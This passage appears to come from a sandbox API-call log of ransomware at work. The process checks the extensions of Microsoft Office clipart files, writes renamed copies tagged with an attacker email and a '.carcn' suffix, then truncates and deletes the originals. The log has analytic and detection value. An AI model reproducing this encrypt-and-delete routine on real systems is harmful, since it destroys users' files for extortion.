(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.018] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 1 [0305.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0305.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0305.138] lstrlenW (lpString=".doc") returned 4 [0305.139] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0305.139] lstrlenW (lpString=".docx") returned 5 [0305.139] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0305.139] lstrlenW (lpString=".pdf") returned 4 [0305.139] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0305.139] lstrlenW (lpString=".xls") returned 4 [0305.139] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0305.139] lstrlenW (lpString=".xlsx") returned 5 [0305.139] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0305.139] lstrlenW (lpString=".ppt") returned 4 [0305.139] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0305.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0305.139] lstrlenW (lpString=".zip") returned 4 [0305.139] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0305.139] lstrlenW (lpString=".rar") returned 4 [0305.139] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0305.139] lstrlenW (lpString=".bz2") returned 4 [0305.139] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0305.139] lstrlenW (lpString=".7z") returned 3 [0305.139] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0305.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0305.139] lstrlenW (lpString=".dbf") returned 4 [0305.139] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0305.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0305.139] lstrlenW (lpString=".1cd") returned 4 [0305.139] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0305.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0305.139] lstrlenW (lpString=".jpg") returned 4 [0305.139] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0305.140] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.140] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0305.142] GetLastError () returned 0x0 [0305.142] ReadFile (in: hFile=0x34c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x4162, lpOverlapped=0x0) returned 1 [0305.151] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x4170, lpOverlapped=0x0) returned 1 [0305.153] ReadFile (in: hFile=0x34c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.153] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.153] SetEndOfFile (hFile=0x398) returned 1 [0305.153] CloseHandle (hObject=0x398) returned 1 [0305.153] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.153] SetEndOfFile (hFile=0x34c) returned 1 [0305.154] CloseHandle (hObject=0x34c) returned 1 [0305.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.154] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 1 [0305.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0305.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0305.155] lstrlenW (lpString=".doc") returned 4 [0305.155] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0305.155] lstrlenW (lpString=".docx") returned 5 [0305.155] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0305.155] lstrlenW (lpString=".pdf") returned 4 [0305.155] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0305.155] lstrlenW (lpString=".xls") returned 4 [0305.155] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0305.155] lstrlenW (lpString=".xlsx") returned 5 [0305.155] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0305.155] lstrlenW (lpString=".ppt") returned 4 [0305.156] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0305.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0305.156] lstrlenW (lpString=".zip") returned 4 [0305.156] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0305.156] lstrlenW (lpString=".rar") returned 4 [0305.156] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0305.156] lstrlenW (lpString=".bz2") returned 4 [0305.156] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0305.156] lstrlenW (lpString=".7z") returned 3 [0305.156] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0305.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0305.156] lstrlenW (lpString=".dbf") returned 4 [0305.156] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0305.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0305.156] lstrlenW (lpString=".1cd") returned 4 [0305.156] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0305.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0305.156] lstrlenW (lpString=".jpg") returned 4 [0305.156] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0305.157] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.157] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0305.157] GetLastError () returned 0x0 [0305.158] ReadFile (in: hFile=0x34c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x2378, lpOverlapped=0x0) returned 1 [0305.173] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x2380, lpOverlapped=0x0) returned 1 [0305.174] ReadFile (in: hFile=0x34c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.174] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.175] SetEndOfFile (hFile=0x398) returned 1 [0305.175] CloseHandle (hObject=0x398) returned 1 [0305.175] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.175] SetEndOfFile (hFile=0x34c) returned 1 [0305.176] CloseHandle (hObject=0x34c) returned 1 [0305.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.176] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 1 [0305.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0305.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0305.177] lstrlenW (lpString=".doc") returned 4 [0305.177] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0305.177] lstrlenW (lpString=".docx") returned 5 [0305.177] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0305.177] lstrlenW (lpString=".pdf") returned 4 [0305.177] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0305.177] lstrlenW (lpString=".xls") returned 4 [0305.177] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0305.177] lstrlenW (lpString=".xlsx") returned 5 [0305.177] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0305.177] lstrlenW (lpString=".ppt") returned 4 [0305.178] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0305.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0305.178] lstrlenW (lpString=".zip") returned 4 [0305.178] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0305.178] lstrlenW (lpString=".rar") returned 4 [0305.178] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0305.178] lstrlenW (lpString=".bz2") returned 4 [0305.178] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0305.178] lstrlenW (lpString=".7z") returned 3 [0305.178] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0305.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0305.178] lstrlenW (lpString=".dbf") returned 4 [0305.178] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0305.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0305.178] lstrlenW (lpString=".1cd") returned 4 [0305.178] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0305.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0305.178] lstrlenW (lpString=".jpg") returned 4 [0305.178] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0305.183] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.183] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0305.186] GetLastError () returned 0x0 [0305.186] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xf39f, lpOverlapped=0x0) returned 1 [0305.193] WriteFile (in: hFile=0x344, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xf3a0, lpOverlapped=0x0) returned 1 [0305.196] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.196] WriteFile (in: hFile=0x344, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.196] SetEndOfFile (hFile=0x344) returned 1 [0305.196] CloseHandle (hObject=0x344) returned 1 [0305.196] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.196] SetEndOfFile (hFile=0x364) returned 1 [0305.198] CloseHandle (hObject=0x364) returned 1 [0305.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 1 [0305.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0305.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0305.199] lstrlenW (lpString=".doc") returned 4 [0305.199] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0305.199] lstrlenW (lpString=".docx") returned 5 [0305.199] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0305.199] lstrlenW (lpString=".pdf") returned 4 [0305.199] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0305.199] lstrlenW (lpString=".xls") returned 4 [0305.199] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0305.199] lstrlenW (lpString=".xlsx") returned 5 [0305.199] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0305.199] lstrlenW (lpString=".ppt") returned 4 [0305.199] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0305.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0305.199] lstrlenW (lpString=".zip") returned 4 [0305.199] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0305.199] lstrlenW (lpString=".rar") returned 4 [0305.199] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0305.199] lstrlenW (lpString=".bz2") returned 4 [0305.199] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0305.199] lstrlenW (lpString=".7z") returned 3 [0305.200] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0305.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0305.200] lstrlenW (lpString=".dbf") returned 4 [0305.200] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0305.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0305.200] lstrlenW (lpString=".1cd") returned 4 [0305.200] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0305.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0305.200] lstrlenW (lpString=".jpg") returned 4 [0305.200] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0305.200] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.200] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0305.201] GetLastError () returned 0x0 [0305.201] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x8ada, lpOverlapped=0x0) returned 1 [0305.224] WriteFile (in: hFile=0x344, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x8ae0, lpOverlapped=0x0) returned 1 [0305.225] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.225] WriteFile (in: hFile=0x344, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.226] SetEndOfFile (hFile=0x344) returned 1 [0305.232] CloseHandle (hObject=0x344) returned 1 [0305.232] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.232] SetEndOfFile (hFile=0x364) returned 1 [0305.233] CloseHandle (hObject=0x364) returned 1 [0305.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.251] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 1 [0305.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0305.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0305.252] lstrlenW (lpString=".doc") returned 4 [0305.252] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0305.252] lstrlenW (lpString=".docx") returned 5 [0305.252] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0305.252] lstrlenW (lpString=".pdf") returned 4 [0305.252] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0305.252] lstrlenW (lpString=".xls") returned 4 [0305.252] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0305.252] lstrlenW (lpString=".xlsx") returned 5 [0305.252] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0305.252] lstrlenW (lpString=".ppt") returned 4 [0305.252] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0305.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0305.252] lstrlenW (lpString=".zip") returned 4 [0305.252] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0305.252] lstrlenW (lpString=".rar") returned 4 [0305.252] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0305.252] lstrlenW (lpString=".bz2") returned 4 [0305.252] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0305.252] lstrlenW (lpString=".7z") returned 3 [0305.252] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0305.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0305.252] lstrlenW (lpString=".dbf") returned 4 [0305.252] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0305.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0305.252] lstrlenW (lpString=".1cd") returned 4 [0305.252] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0305.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0305.253] lstrlenW (lpString=".jpg") returned 4 [0305.253] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0305.254] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.254] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0305.255] GetLastError () returned 0x0 [0305.255] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x84b7, lpOverlapped=0x0) returned 1 [0305.290] WriteFile (in: hFile=0x344, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x84c0, lpOverlapped=0x0) returned 1 [0305.291] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.291] WriteFile (in: hFile=0x344, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.291] SetEndOfFile (hFile=0x344) returned 1 [0305.292] CloseHandle (hObject=0x344) returned 1 [0305.292] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.292] SetEndOfFile (hFile=0x364) returned 1 [0305.293] CloseHandle (hObject=0x364) returned 1 [0305.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.293] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 1 [0305.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0305.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0305.294] lstrlenW (lpString=".doc") returned 4 [0305.294] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0305.294] lstrlenW (lpString=".docx") returned 5 [0305.294] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0305.294] lstrlenW (lpString=".pdf") returned 4 [0305.294] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0305.294] lstrlenW (lpString=".xls") returned 4 [0305.294] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0305.294] lstrlenW (lpString=".xlsx") returned 5 [0305.294] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0305.294] lstrlenW (lpString=".ppt") returned 4 [0305.294] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0305.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0305.294] lstrlenW (lpString=".zip") returned 4 [0305.294] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0305.294] lstrlenW (lpString=".rar") returned 4 [0305.294] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0305.295] lstrlenW (lpString=".bz2") returned 4 [0305.295] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0305.295] lstrlenW (lpString=".7z") returned 3 [0305.295] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0305.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0305.295] lstrlenW (lpString=".dbf") returned 4 [0305.295] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0305.295] 